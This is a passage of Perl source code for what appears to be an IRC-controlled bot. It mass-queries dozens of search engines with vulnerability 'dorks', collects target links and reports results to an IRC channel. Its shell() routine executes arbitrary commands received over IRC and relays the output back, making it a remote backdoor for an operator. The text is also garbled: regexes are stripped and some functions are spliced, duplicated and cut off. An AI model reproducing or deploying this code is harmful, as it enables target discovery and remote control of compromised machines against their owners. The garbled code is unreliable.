&clix($dork); push(@total,@clix); } if ($engine eq "ask2") { my @ask2 = &ask2($dork); push(@total,@ask2); } if ($engine eq "AsKCA") { my @askCA = askCA($dork); push(@total,@askCA); } if ($engine eq "AsKDE") { my @askDE = askDE($dork); push(@total,@askDE); } if ($engine eq "AsKIT") { my @askIT = askIT($dork); push(@total,@askIT); } if ($engine eq "AsKUK") { my @askUK = askUK($dork); push(@total,@askUK); } if ($engine eq "AsKFR") { my @askFR = askFR($dork); push(@total,@askFR); } if ($engine eq "AsKES") { my @askES = askES($dork); push(@total,@askES); } if ($engine eq "AsKRU") { my @askRU = askRU($dork); push(@total,@askRU); } if ($engine eq "AsKNL") { my @askNL = askNL($dork); push(@total,@askNL); } if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); } if ($engine eq "AsKPL") { my @askPL = askPL($dork); push(@total,@askPL); } if ($engine eq "AsKAT") { my @askAT = askAT($dork); push(@total,@askAT); } if ($engine eq "AsKSE") { my @askSE = askSE($dork); push(@total,@askSE); } if ($engine eq "AsKDK") { my @askDK = askDK($dork); push(@total,@askDK); } if ($engine eq "AsKNO") { my @askNO = askNO($dork); push(@total,@askNO); } if ($engine eq "AsKAU") { my @askAU = askAU($dork); push(@total,@askAU); } if ($engine eq "AsKBR") { my @askBR = askBR($dork); push(@total,@askBR); } if ($engine eq "AsKMX") { my @askMX = askMX($dork); push(@total,@askMX); } if ($engine eq "AsKJP") { my @askJP = askJP($dork); push(@total,@askJP); } if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); } if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); } if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); } if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); } if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); } if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); } if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); } if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); } if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); } if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); } if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); } if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); } if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); } if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); } if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); } if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); } if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); } if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); } if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); } if ($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); } if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); } if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); } if ($engine eq "BingAU") { my @bingAU = bingAU($dork); push(@total,@bingAU); } if ($engine eq "BingAE") { my @bingAE = bingAE($dork); push(@total,@bingAE); } if ($engine eq "BingAT") { my @bingAT = bingAT($dork); push(@total,@bingAT); } if ($engine eq "BingCZ") { my @bingCZ = bingCZ($dork); push(@total,@bingCZ); } if ($engine eq "BingEU") { my @bingEU = bingEU($dork); push(@total,@bingEU); } if ($engine eq "BingHU") { my @bingHU = bingHU($dork); push(@total,@bingHU); } if ($engine eq "BingID") { my @bingID = bingID($dork); push(@total,@bingID); } if ($engine eq "BingIL") { my @bingIL = bingIL($dork); push(@total,@bingIL); } if ($engine eq "BingIN") { my @bingIN = bingIN($dork); push(@total,@bingIN); } if ($engine eq "BingINFO") { my @bingINFO = bingINFO($dork); push(@total,@bingINFO); } if ($engine eq "BingIR") { my @bingIR = bingIR($dork); push(@total,@bingIR); } if ($engine eq "BingMY") { my @bingMY = bingMY($dork); push(@total,@bingMY); } if ($engine eq "BingNET") { my @bingNET = bingNET($dork); push(@total,@bingNET); } if ($engine eq "BingORG") { my @bingORG = bingORG($dork); push(@total,@bingORG); } if ($engine eq "BingPH") { my @bingPH = bingPH($dork); push(@total,@bingPH); } if ($engine eq "BingPL") { my @bingPL = bingPL($dork); push(@total,@bingPL); } if ($engine eq "BingRO") { my @bingRO = bingRO($dork); push(@total,@bingRO); } if ($engine eq "BingTH") { my @bingTH = bingTH($dork); push(@total,@bingTH); } if ($engine eq "BingUA") { my @bingUA = bingUA($dork); push(@total,@bingUA); } if ($engine eq "BingUS") { my @bingUS = bingUS($dork); push(@total,@bingUS); } if ($engine eq "BingSI") { my @bingSI = bingSI($dork); push(@total,@bingSI); } if ($engine eq "BingBIZ") { my @bingBIZ = bingBIZ($dork); push(@total,@bingBIZ); } if ($engine eq "BingXXX") { my @bingXXX = bingXXX($dork); push(@total,@bingXXX); } if ($engine eq "BingTV") { my @bingTV = bingTV($dork); push(@total,@bingTV); } if ($engine eq "BingCC") { my @bingCC = bingCC($dork); push(@total,@bingCC); } if ($engine eq "BingMIL") { my @bingMIL = bingMIL($dork); push(@total,@bingMIL); } if ($engine eq "BingASIA") { my @bingASIA = bingASIA($dork); push(@total,@bingASIA); } if ($engine eq "BingNAME") { my @bingNAME = bingNAME($dork); push(@total,@bingNAME); } if ($engine eq "BingPRO") { my @bingPRO = bingPRO($dork); push(@total,@bingPRO); } if ($engine eq "BingTRAVEL") { my @bingTRAVEL = bingTRAVEL($dork); push(@total,@bingTRAVEL); } if ($engine eq "BingJOBS") { my @bingJOBS = bingJOBS($dork); push(@total,@bingJOBS); } if ($engine eq "BingMOBI") { my @bingMOBI = bingMOBI($dork); push(@total,@bingMOBI); } if ($engine eq "BingAERO") { my @bingAERO = bingAERO($dork); push(@total,@bingAERO); } if ($engine eq "BingCAT") { my @bingCAT = bingCAT($dork); push(@total,@bingCAT); } if ($engine eq "BingCOOP") { my @bingCOOP = bingCOOP($dork); push(@total,@bingCOOP); } if ($engine eq "BingEDU") { my @bingEDU = bingEDU($dork); push(@total,@bingEDU); } if ($engine eq "BingGOV") { my @bingGOV = bingGOV($dork); push(@total,@bingGOV); } if ($engine eq "BingBO") { my @bingBO = bingBO($dork); push(@total,@bingBO); } if ($engine eq "BingBA") { my @bingBA = bingBA($dork); push(@total,@bingBA); } if ($engine eq "BingBW") { my @bingBW = bingBW($dork); push(@total,@bingBW); } if ($engine eq "BingBG") { my @bingBG = bingBG($dork); push(@total,@bingBG); } if ($engine eq "BingCO") { my @bingCO = bingCO($dork); push(@total,@bingCO); } if ($engine eq "BingCR") { my @bingCR = bingCR($dork); push(@total,@bingCR); } if ($engine eq "BingHR") { my @bingHR = bingHR($dork); push(@total,@bingHR); } if ($engine eq "BingDO") { my @bingDO = bingDO($dork); push(@total,@bingDO); } if ($engine eq "BingEC") { my @bingEC = bingEC($dork); push(@total,@bingEC); } if ($engine eq "BingGR") { my @bingGR = bingGR($dork); push(@total,@bingGR); } if ($engine eq "BingHN") { my @bingHN = bingHN($dork); push(@total,@bingHN); } if ($engine eq "BingHK") { my @bingHK = bingHK($dork); push(@total,@bingHK); } if ($engine eq "BingIS") { my @bingIS = bingIS($dork); push(@total,@bingIS); } if ($engine eq "BingIE") { my @bingIE = bingIE($dork); push(@total,@bingIE); } if ($engine eq "BingKZ") { my @bingKZ = bingKZ($dork); push(@total,@bingKZ); } if ($engine eq "BingKE") { my @bingKE = bingKE($dork); push(@total,@bingKE); } if ($engine eq "BingKG") { my @bingKG = bingKG($dork); push(@total,@bingKG); } if ($engine eq "BingLV") { my @bingLV = bingLV($dork); push(@total,@bingLV); } if ($engine eq "BingLY") { my @bingLY = bingLY($dork); push(@total,@bingLY); } if ($engine eq "BingLT") { my @bingLT = bingLT($dork); push(@total,@bingLT); } if ($engine eq "BingLU") { my @bingLU = bingLU($dork); push(@total,@bingLU); } if ($engine eq "BingMA") { my @bingMA = bingMA($dork); push(@total,@bingMA); } if ($engine eq "BingNP") { my @bingNP = bingNP($dork); push(@total,@bingNP); } if ($engine eq "BingPK") { my @bingPK = bingPK($dork); push(@total,@bingPK); } if ($engine eq "BingPR") { my @bingPR = bingPR($dork); push(@total,@bingPR); } if ($engine eq "BingSG") { my @bingSG = bingSG($dork); push(@total,@bingSG); } if ($engine eq "BingSK") { my @bingSK = bingSK($dork); push(@total,@bingSK); } if ($engine eq "BingZA") { my @bingZA = bingZA($dork); push(@total,@bingZA); } if ($engine eq "BingLK") { my @bingLK = bingLK($dork); push(@total,@bingLK); } if ($engine eq "BingTW") { my @bingTW = bingTW($dork); push(@total,@bingTW); } if ($engine eq "BingTR") { my @bingTR = bingTR($dork); push(@total,@bingTR); } if ($engine eq "BingVE") { my @bingVE = bingVE($dork); push(@total,@bingVE); } if ($engine eq "BingVN") { my @bingVN = bingVN($dork); push(@total,@bingVN); } if ($engine eq "BingMUSEUM") { my @bingMUSEUM = bingMUSEUM($dork); push(@total,@bingMUSEUM); } @clean = clean(@total); if (@clean > 0){ &msg("$chan","14$engine 1| 15".scalar(@clean)." "); } return @clean; } ######################################### sub isFound() { my $status = 0; my $link = $_[0]; my $reqexp = $_[1]; my $res = get_content($link); if ($res =~ /$reqexp/) { $status = 1 } return $status; } sub get_content() { my $url = $_[0]; my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout(20); my $req = HTTP::Request->new(GET => $url); my $res = $ua->request($req); return $res->content; } ######################################### SEARCH ENGINE sub jack1() { my @list; my $key = $_[0]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jack1.uri_escape($key)."&num=100&start=".$i); my $res = search_engine_query($search); while ($res =~ m//g) { my $link = $1; if ($link !~ /onet|webcache|query/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub clusty() { my @list; my $key = $_[0]; my $b = 0; for ($b=10; $b<=200; $b+=10) { my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&"); my $res = &search_engine_query($search); if ($res !~ /next/) {$b=100;} while ($res =~ m/]*)\"/g) { my $link = $1; if ($link !~ /uol\.com\.br|\/web/i){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub seznam() { my @list; my $key = $_[0]; for ($b=1; $b<=300; $b+=20) { my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b); my $res = &search_engine_query($search); while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub hotbot() { my @list; my $key = $_[0]; for ($b=0; $b<=50; $b+=1) { my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key)); my $res = &search_engine_query($search); if ($res =~ m/had no web result/i) {$b=50;} while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) { my $link = $1; if ($link !~ /hotbot\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub aol() { my @list; my $key = $_[0]; for ($b=0; $b<=300; $b+=10) { my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\"/g) { my $link = $1; if ($link !~ /aol\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub biglobe { my $key = $_[0]; my @list; for ($b=1; $b<=500; $b+=10) { $num += $num; my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all"; my $res = &search_engine_query($search); while ( $res =~ m/\"]*)\//g){ if ($1 !~ /pagina|pagina's/){ my $k=$1; my @grep=links($k); push(@list,@grep); } } } return @list; } sub clix(){ my @list; my $key = $_[0]; for($b=1;$b<=1000;$b+=100){ my $Th=("http://www.google.pt/search?q=".uri_escape($key)."&in=Mundial&num=25&ckWhere=Mundo&position=".$b.""); my $Res=&search_engine_query($Th); while($Res =~ m/href=\"http:\/\/(.+?)\//g){ my $link = $1; $link =~ s//g) { my $link = $1; if ($link !~ /onet|webcache|query/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub clusty() { my @list; my $key = $_[0]; my $b = 0; for ($b=10; $b<=200; $b+=10) { my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&"); my $res = &search_engine_query($search); if ($res !~ /next/) {$b=100;} while ($res =~ m/new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return; print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n"; my @pages = <$sock>; $page = "@pages"; close($sock); }; return $page; } ######################################### sub shell() { my $path = $_[0]; my $cmd = $_[1]; if ($cmd =~ /cd (.*)/) { chdir("$1") || &msg("$path","No such file or directory"); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @output = `$cmd 2>&1 3>&1`; my $c = 0; foreach my $output (@output) { $c++; chop $output; &msg("$path","$output"); if ($c == 5) { $c = 0; sleep 3; } } exit; }} } sub isAdmin() { my $status = 0; my $nick = $_[0]; if ($nick eq $admin) { $status = 1; } return $status; } sub msg() { return unless $#_ == 1; sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]"); } sub nick() { return unless $#_ == 0; sendraw("NICK $_[0]"); } sub notice() { return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]"); } sub read_dorks() { my $dork = uri_escape($_[0]); my $file = "dorks.txt"; my $success = 0; open (file,"<$file"); while (my $dorkx=) { chop($dorkx); if ($dorkx =~ /$dork/){ $success = 1; } } close file; return $success; } sub write_dorks() { my $dorks = uri_escape($_[0]); my $file = "dorks.txt"; open (filex,">>$file"); print filex $dorks."\n"; close filex; }}